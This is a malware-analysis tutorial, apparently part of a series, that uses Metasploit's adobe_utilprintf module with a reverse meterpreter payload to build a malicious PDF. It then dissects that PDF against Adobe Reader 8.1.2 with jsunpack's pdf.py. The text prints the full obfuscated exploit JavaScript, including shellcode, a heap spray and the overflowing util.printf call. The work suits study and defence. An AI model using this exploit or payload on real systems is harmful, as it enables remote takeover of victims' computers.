1. Introduction
One of the first things we need to do is to remove the PDF Reader we currently have installed and reinstall the old version of PDF Reader.
The old version of PDF Reader can be found on various web pages, but most prominent web page is definitely oldapps. We need to search for a specific version of Adobe PDF Reader, which was vulnerable to the util.printf() buffer overflow vulnerability. But which version do we need? Luckily the exploit for the util.printf() buffer overflow vulnerability can be found in the Metasploit modules as we can see oin the picture below:
The vulnerable version of Adobe PDF Reader is 8.1.2 (including), which we need to download from the oldapps web page and install on the system. The installation process of the old vulnerable PDF Reader can be observed below:
When the installation process is complete, we can check whether the appropriate version was installed on the system. To do that, we can start the Adobe PDF Reader normally and click on Menu - Help - About Adobe Reader 8. We will see a picture presented below:
The right version of Adobe Reader is installed, which is the version 8.1.2. Now we've come to the part where we need to test the Metasploit module. In order to do that we must download the Metasploit, start the msfconsole, and execute the commands below:
msf > use exploit/windows/browser/adobe_utilprintf msf exploit(adobe_utilprintf) > set PAYLOAD windows/meterpreter/reverse_tcp msf exploit(adobe_utilprintf) > set LHOST 1 92.168.1.134 msf exploit(adobe_utilprintf) > exploit [*] Exploit running as background job. [*] Started reverse handler on 192.168.1.134:4444 [*] Using URL: http://0.0.0.0:8080/RoNPyF [*] Local IP: http://192.168.1.134:8080/RoNPyF [*] Server started.
First we're executing the command to use the adobe_utilprintf exploit. Then we're setting some common Metasploit variables that are required for everything to work. These variables are PAYLOAD, which specifies the payload that will be executed upon successful execution of the exploit and LHOST, which sets the IP of our meterpreter computer. This IP will be used by the payload to connect back to us, creating a reverse meterpreter session, which will give us complete access to the compromised computer. At the end we're executing the command exploit to run the configured actions.
We can download the generated malicious PDF from the URI http://192.168.1.134:8080/RoNPyF and save it on our hard drive as util_printf.pdf. Then we need to copy it to the target machine (the one running the vulnerable version of Adobe PDF Reader) and open it.
When we open the malicious PDF document in a vulnerable Adobe PDF Reader, a new meterpreter session should be opened as can be seen on the picture below:
We can then use the newly created session to interact with the compromised computer. This can be seen in the picture below, where we first enter into the new session with the "sessions -i 1 " command and then execute the sysinfo command, giving us the basic information about the compromised system. In our case, this is a Windows XP SP2 machine running on x86 (32 bit) architecture.
2. Analyzing the PDF Document
The exploit works and gives us the meterpreter session that we want, so why should we care about the details of how this is done? Well, the beauty of everything is in the details, so in this section we'll take a look at how the malicious PDF document was created and how it uses the vulnerable function to execute arbitrary code on the vulnerable computer.
If we open the util_printf.pdf PDF document in a text editor like gvim, we can get some information out of it, but not all of it. For example, the Header of the PDF document is presented in the picture below:
It's a standard 1.5 PDF document with 4 random unicode bytes in the second line. Those bytes are there for one reason only: so that the applications that work with ASCII data don't try to handle and open the document, as it would fail. And the bytes are at the beginning of the file, because applications normally read a first few bytes of the file to determine if they can handle the specific file and open it. Then there is the Body PDF section that is presented in the picture below:
We can't really say anything definitive about this section, except that it uses a lot of different representation of any single character. The character # followed by two characters is a single character represented in a hexadecimal notation. This could be easily changed back into the ASCII form, but we won't do that manually, because it isn't efficient and it's too time consuming (in the modern world we have computers to do the work for us).
In the picture above we also have one encrypted stream, which is non-recognizable right now. In line 29 that stream is terminated by the endstream and on line 30 with endobj keywords. What follows is the Xref table, which we can see in the following picture:
The cross-reference table uses 6 objects. The first object with an offset 0x0 and the generation number 65535 is always present and is not used. The other objects are represented by the following lines. The first used object is located at the byte offset 17 and contains the generation number 0. In fact, all of the objects contain generation number 0, because the PDF document has just been created, and we haven't changed any of the objects in the PDF document, which would cause the generation number to increase. The cross-reference table is clear and provides just the information that we need: there are 6 used objects with different byte offsets usually present in the body of the PDF document (which is encrypted and obfuscated).
What follows is the Trailer section of the PDF document represented in the picture below:
The Trailer contains the /Root element specifying the root object to be the object with an ID 1. There's also the /Size attribute telling us that there are six objects in use (the number 7 is there specifying one more object than there actually is). Afterwards there's the startxref keyword specifying that the cross-reference table starts at byte offset 6386. The last line ends the PDF document file format.
So far we've gathered quite some information about the malicious PDF document, but there's still one section that needs to be analyzed: the Body section of the PDF document. We must be aware of the fact that Adobe documents can use several filters to compress or encode specific objects in the PDF document, making them unreadable in plain-text format. Therefore we can't easily read the object from a PDF file, but need to decompress or decrypt the objects before displaying it on the screen. There are several tools that we can use to do just that.
In the chapters that follow, we'll present various tools that can be used to analyze malicious files. We'll also pretend that we don't know anything about the malicious PDF that we're analyzing, so we'll try almost every possible method out there to try to determine if the PDF document is malicious and how.
3. Checking for Malicious JavaScript
We must be aware of the fact that Adobe PDF Reader uses some open source software components that provide certain features. We can get all the information about the opensource sofware the Adobe PDF Reader uses on the following URI: http://partners.adobe.com/public/developer/opensource/index.html;jsessionid=4518D48D84944EDCE62093D9BB7386C0. It uses the modified version of Mozilla SpiderMonkey JavaScript Engine, which is freely available here: Modified SpiderMonkey. It also uses Sablotron XSLT processor and SAXON XSLT processor, which we won't describe in details, since they are not needed right now.
Often the JavaScript inside the PDF documents is compressed so the analysis of that PDF document is harder (but it can even be used to evade anti-virus or IDS/IPS software). However, the jsunpack-n JavaScript unpacker has a tool named pdf.py that can be used to extract and decompress the JavaScript from the PDF document. The pdf.py Python script knows how to handle and extract the data encoded with the following filters in the PDF document: FlateDecode, ASCIIHexDecode, ASCII85Decode, LZWDecode and RunLengthDecode.
We can decompress the compressed data in PDF document util_printf.pdf with the following command:
# python pdf.py util_printf.pdf
Whenever the above command is run, we get the following output, which prints all the objects from the PDF document. Previously we found out that the PDF document uses six objects with IDs 1 through 6. The first part of the output presents the attributes of each object. The object with an ID 1 is a document catalog that specifies the document's page root node, which is object with an ID 3. The outlines object has an ID 2.
OpenAction specifies the destination that shall be displayed when the document is opened. The value can be an array defining a destination or an action dictionary representing an action. If this entry is not present, the document will be opened on the first page by default.
# python pdf.py util_printf.pdf parsing util_printf.pdf obj 1 0: tag Type (TAG) tag Catalog (TAG) tag Outlines = 2 0 R (TAGVAL) tag Pages = 3 0 R (TAGVAL) tag OpenAction = 5 0 R (ENDTAG) obj 2 0: tag Type (TAG) tag Outlines (TAG) tag Count = 0 (ENDTAG) obj 3 0: tag Type (TAG) tag Pages (TAG) tag Kids = 4 0 R] (TAGVAL) tag Count = 1 (ENDTAG) obj 4 0: tag Type (TAG) tag Page (TAG) tag Parent = 3 0 R (TAGVAL) tag MediaBox = 0 0 612 792] (ENDTAG) obj 5 0: tag Type (TAG) tag Action (TAG) tag S (TAG) tag JavaScript (TAG) tag JS = 6 0 R (ENDTAG) obj 6 0: tag Length = 5853 (TAGVAL) tag Filter (TAGVAL) tag FlateDecode (TAG) tag ASCIIHexDecode (ENDTAG) obj trailer: tag Size = 7 (TAGVAL) tag Root = 1 0 R (ENDTAG) Found JavaScript (delayed) in 1 0 (0 bytes) children [['Outlines', '2 0'], ['Pages', '3 0'], ['OpenAction', '5 0']] tags [['TAG', 'Type', ''], ['TAG', 'Catalog', ''], ['TAGVAL', 'Outlines', '2 0 R'], ['TAGVAL', 'Pages', '3 0 R'], ['ENDTAG', 'OpenAction', '5 0 R']] indata = <</#54#79p#65/Ca#74a#6c#6fg/#4f#75tli#6e#65s 2 0 R/#50a#67#65s 3 0 R/#4fp#65n#41ct#69#6f#6e 5 0 R>> Found JavaScript (delayed) in 5 0 (0 bytes) children [['JS', '6 0']] tags [['TAG', 'Type', ''], ['TAG', 'Action', ''], ['TAG', 'S', ''], ['TAG', 'JavaScript', ''], ['ENDTAG', 'JS', '6 0 R']] indata = <</Type/A#63#74i#6f#6e/S/Ja#76#61#53cr#69pt/JS 6 0 R>> Found JavaScript in 6 0 (5508 bytes) children [] tags [['TAGVAL', 'Length', '5853'], ['TAGVAL', 'Filter', ''], ['TAG', 'FlateDecode', ''], ['ENDTAG', 'ASCIIHexDecode', '']] indata = <</#4cen#67t#68 5853/#46ilt#65#72[/F#6cateD#65c#6fd#65/A#53CI#49Hex#44ecod#65]>>streamx}L!X"EY?/s, Wrote JavaScript (5595 bytes -- 87 headers / 5508 code) to file util_printf.pdf.out
All the objects can be better represented with the picture below:
The /Root elements points to the document catalog, which in turn defines Pages, Outlines and JavaScript objects. The most interesting object is the JavaScript object that describes the JavaScript action object, which is executed upon opening the PDF document. The JavaScript action object (object 5) then defines another object 6, which holds the actual JavaScript, which will be executed. The JavaScript code size is 5853 bytes and is decoded with FlateDecode and ASCIIHexDecode.
The pdf.py script above also wrote the JavaScript code in the file util_printf.pdf.out that is presented below:
c = []; zzzpages.push(c); this.numPages = zzzpages.length;
//jsunpack End PDF headers
var rEjIPqzEByRqKciucyXoQKEoDVmfSgfXhXPTdGqKjKbGNRqlUrIPQvI =
unescape("%u789b%ub10c%u017a%ud4f6%u80b8%u27fd%u757d%u747b%ud50b%u7f2c%u4377%u0992%u1ceb%ub7b4%u8734%uc0fe%u21d6%u47f9%u3d97%ubb66%ub998%ub540%uba4a%u90b2%u7904%ua925%u33b6%u9ff5%u4f42%u11b0%u3cf8%u241d%u4999%ufc83%u0d96%u6748%u93b3%ue38c%u7978%u7576%u9035%ub28d%u7c34%u1971%u46e2%u9215%u1cbb%ud403%ud081%u39d5%u7ee0%ua805%u3777%u7a74%u222f%u69eb%ubef5%ub8b6%u2cb4%u4b9f%ub541%u9647%u7304%ub34a%u1498%ub797%u7b70%u7f72%u0d66%ub00c%ufc84%u353d%ub924%u2d9b%ub148%u1abf%u67f9%u2793%u4e7d%u913f%u4240%uf828%u993c%u3aa9%u1de1%uba49%u8843%ud6d2%u3b4f%u76fd%u9725%u7e8d%ub227%u7b93%uf62b%u34d5%ub0b4%uf920%u0573%u4e99%ue012%u2a2f%u4be2%u3f7d%u1db9%u48b3%u14a9%ubab5%u47b6%u6b2d%u96f5%u9bbf%u7804%u3d77%u4666%ubb4a%ueb10%u707c%u0d1c%ue186%ufd08%ufc85%u7991%u424f%u98a8%u02be%ud1f7%u43f8%u4171%ue329%u3c75%u0c7a%ud631%u9f2c%u35b1%u6737%u49b7%ud418%u74b8%u9040%u9215%u247f%u2572%u8db6%u2cbf%ue00a%ufd32%u4eb4%u7db3%u7041%u7827%uf523%u1b3c%uc1ff%u13e3%u40f8%u7cbe%u982f%u1579%ua943%ufc30%u3574%u4ab7%u387a%ue2d3%u7e71%u9705%ub504%u9992%u76bb%u474b%u8314%uebf7%u6748%u7342%u910d%u0c2d%ub124%u4fa8%u3f3d%ub21d%u7296%u3449%ud18c%u75e1%u377b%ud680%u9346%ud50a%ubab9%ud22b%u9bf9%u1c66%u0190%ud4f6%u9fb8%u7fb0%u7725%u3c7a%u2371%u1bfd%u05f8%u9bb2%u7014%u7935%u1c66%u373f%u6743%ufc10%ue339%u7740%ud66b%u99b4%ubfa8%u9147%u90be%u2ab6%u4ff5%u3db3%ua94a%u4946%uf903%u4e92%u098d%u08e1%u2fd5%u3b15%u7dd4%u247f%u98bb%u3178%u19e2%ue0d0%u1d75%ub52d%u25b8%uba27%ub7b0%u737e%u7c42%u7b72%u970d%u0474%u2cb1%u964b%u32b9%u76eb%u410c%u349f%u7593%u8948%u38e2%u79e0%ub54f%u132d%ufdc0%u46b3%u4974%u0cbe%u3037%u90d5%u25b6%u0492%uf50b%u4e78%u2173%u72f9%u707b%u417d%ub9b0%u247e%u1dba%ub4bf%u0d67%u3da9%u9766%u4814%u767c%u157a%u3405%u181c%uebc1%u4a43%u77b2%u2f71%ud312%u22e1%u7fe3%u702c%u1a74%u7ae1%u8142%u78eb%ue229%ub13f%u938d%ub7a8%ud687%ub899%u739f%u8627%u91fc%u719b%uf811%u7998%u693c%u7ed4%u7635%u9640%u77bb%u7d4b%ub947%ubeba%u4672%u4f8d%u9335%u3f90%ua8b5%u4234%u027f%u40e3%ue085%uf520%u914e%u7cbb%ub725%u0c98%u67d6%u9b2f%ub243%ufd88%u7b41%u050d%u1475%u92b1%u66b3%u3d9f%u27b6%ufc3a%u96d5%u4b1d%u4a47%u33b4%u3cd4%u152d%u9949%uf984%u1ca9%u48b8%ub024%u97bf%uf828%u2c04%uda37%ud9c9%u2474%u5af4%uc931%ua0bb%u7448%ub13f%u8349%u04c2%u5a31%u0315%u155a%ubd42%ud788%u3e0b%u2871%ub66b%u1994%uacb9%u08dd%ua60d%ua0b0%ueae6%u3220%u228a%uf346%u1520%u0469%u9985%uc625%u6584%u1b34%u5766%u6ef7%u9067%u81ea%u4935%u3360%ufea9%u8834%ud0c8%ub032%u55b2%u4584%u5708%uf6d5%u1f07%u7dcd%u804f%u52ec%ufc8c%udfa7%u7666%u3636%u77b7%u7608%u461b%u7ba4%u8e62%u6403%ue411%u1977%u3f21%uc505%ua2a4%u8ead%u071e%u424f%uccf8%u2f43%u8b8f%uae47%ua05c%u3b7c%u6763%u7ff5%ua347%udb5d%uf2e6%u8a3b%ue417%u73e4%u6ebd%u6706%u2cc7%u444f%ucef5%uc28f%ubd8e%u4dbd%u2a24%u068e%uade2%u3cf1%u2152%ubf0c%u6ba2%uebcb%u03f2%u93fa%ud399%u4603%u840d%u39ab%u74ed%uea0c%u9e85%ud583%ua0b5%u7e49%u5a5f%u411a%u6537%u295c%u6645%uf671%u80c0%u161b%u1b84%u8fb4%ud08d%u4f25%u9d18%udb66%u61ae%u2c28%u71db%udcdd%u2896%ue248%u460d%u7675%uc1a9%uee22%u34b3%ub104%u134c%u781e%udcd8%u8549%udd0c%ud389%udd46%u83e1%u8e32%ucc14%ua2ef%u5984%u930f%uc979%u1967%u3da7%ue228%ubf82%u3515%u45eb%u336f%u861f");
var DYSiOYZIxGfxfSsVwA ="";
for
(vxTKbGJsiTHXNUCNrgGZbHFxFbzefiCv=128;vxTKbGJsiTHXNUCNrgGZbHFxFbzefiCv>=0;--vxTKbGJsiTHXNUCNrgGZbHFxFbzefiCv)
DYSiOYZIxGfxfSsVwA += unescape("%u914b%u9814");
HZEbSvKHYnyHASUXDcnMWUUctymTbLIpHlsklx = DYSiOYZIxGfxfSsVwA +
rEjIPqzEByRqKciucyXoQKEoDVmfSgfXhXPTdGqKjKbGNRqlUrIPQvI;
GZWDFBLdNRGMAUhPUApwHDgltcLPewxLrbQnouJtAxGWHTIgumSbpIArWDVRpdrHDhfjARPTWtLmVBpirhH
= unescape("%u914b%u9814");
fXZbZvta = 20;
qYTQEYcOBRJgyfMOQePNkPJR =
fXZbZvta+HZEbSvKHYnyHASUXDcnMWUUctymTbLIpHlsklx.length
while
(GZWDFBLdNRGMAUhPUApwHDgltcLPewxLrbQnouJtAxGWHTIgumSbpIArWDVRpdrHDhfjARPTWtLmVBpirhH.length<qYTQEYcOBRJgyfMOQePNkPJR)
GZWDFBLdNRGMAUhPUApwHDgltcLPewxLrbQnouJtAxGWHTIgumSbpIArWDVRpdrHDhfjARPTWtLmVBpirhH+=GZWDFBLdNRGMAUhPUApwHDgltcLPewxLrbQnouJtAxGWHTIgumSbpIArWDVRpdrHDhfjARPTWtLmVBpirhH;
mOlGMYWjQILmQUKMCnqsk =
GZWDFBLdNRGMAUhPUApwHDgltcLPewxLrbQnouJtAxGWHTIgumSbpIArWDVRpdrHDhfjARPTWtLmVBpirhH.substring(0,
qYTQEYcOBRJgyfMOQePNkPJR);
HdvbEVJsOxKcmVwHARikbojpqmLqCqYOGZgkDvxgIuTVBAbYONohjSZyuyMtDxMCdYkjmFeKRTPsYGPehaSMUzmHeLKTJJmlM
=
GZWDFBLdNRGMAUhPUApwHDgltcLPewxLrbQnouJtAxGWHTIgumSbpIArWDVRpdrHDhfjARPTWtLmVBpirhH.substring(0,
GZWDFBLdNRGMAUhPUApwHDgltcLPewxLrbQnouJtAxGWHTIgumSbpIArWDVRpdrHDhfjARPTWtLmVBpirhH.length-qYTQEYcOBRJgyfMOQePNkPJR);
while(HdvbEVJsOxKcmVwHARikbojpqmLqCqYOGZgkDvxgIuTVBAbYONohjSZyuyMtDxMCdYkjmFeKRTPsYGPehaSMUzmHeLKTJJmlM.length+qYTQEYcOBRJgyfMOQePNkPJR
< 0x40000)
HdvbEVJsOxKcmVwHARikbojpqmLqCqYOGZgkDvxgIuTVBAbYONohjSZyuyMtDxMCdYkjmFeKRTPsYGPehaSMUzmHeLKTJJmlM
=
HdvbEVJsOxKcmVwHARikbojpqmLqCqYOGZgkDvxgIuTVBAbYONohjSZyuyMtDxMCdYkjmFeKRTPsYGPehaSMUzmHeLKTJJmlM+HdvbEVJsOxKcmVwHARikbojpqmLqCqYOGZgkDvxgIuTVBAbYONohjSZyuyMtDxMCdYkjmFeKRTPsYGPehaSMUzmHeLKTJJmlM+mOlGMYWjQILmQUKMCnqsk;
MdMLejrqWGfyTYiSbrzhcHznoug = new Array();
for
(QazrwEsrcAOpyOKfbEucuWfspgYHZVeduopwqqlaLiFBvDoPqTKEAdSgeYiTcbMYTcZMwLirhyConNdPpO=0;QazrwEsrcAOpyOKfbEucuWfspgYHZVeduopwqqlaLiFBvDoPqTKEAdSgeYiTcbMYTcZMwLirhyConNdPpO<1450;QazrwEsrcAOpyOKfbEucuWfspgYHZVeduopwqqlaLiFBvDoPqTKEAdSgeYiTcbMYTcZMwLirhyConNdPpO++)
MdMLejrqWGfyTYiSbrzhcHznoug[QazrwEsrcAOpyOKfbEucuWfspgYHZVeduopwqqlaLiFBvDoPqTKEAdSgeYiTcbMYTcZMwLirhyConNdPpO]
=
HdvbEVJsOxKcmVwHARikbojpqmLqCqYOGZgkDvxgIuTVBAbYONohjSZyuyMtDxMCdYkjmFeKRTPsYGPehaSMUzmHeLKTJJmlM
+ HZEbSvKHYnyHASUXDcnMWUUctymTbLIpHlsklx;
util.printf("%45000.45000f", 0);
Currently the JavaScript code is not very understandable, because it's highly obfuscated. In the JavaScript, everything above the comment "jsunpack End PDF headers" was added by pdf.py script and all JavaScript below that comment is the actual JavaScript extracted from the PDF document. Why did the jsunpack add c, zzzpages.push and this.numPages JavaScript code to the output file? Because it detected that the extracted JavaScript may try to access those variables and just tries to make them available by adding them to the output file.
4. Conclusion
We've seen that the JavaScript code in the object 6 is executed when the PDF document is opened. But the JavaScript code in that object is obfuscated, so we can't immediately see what the code actually does. In the next part we'll try to determine what the JavaScript code does and if it really is malicious.
Comments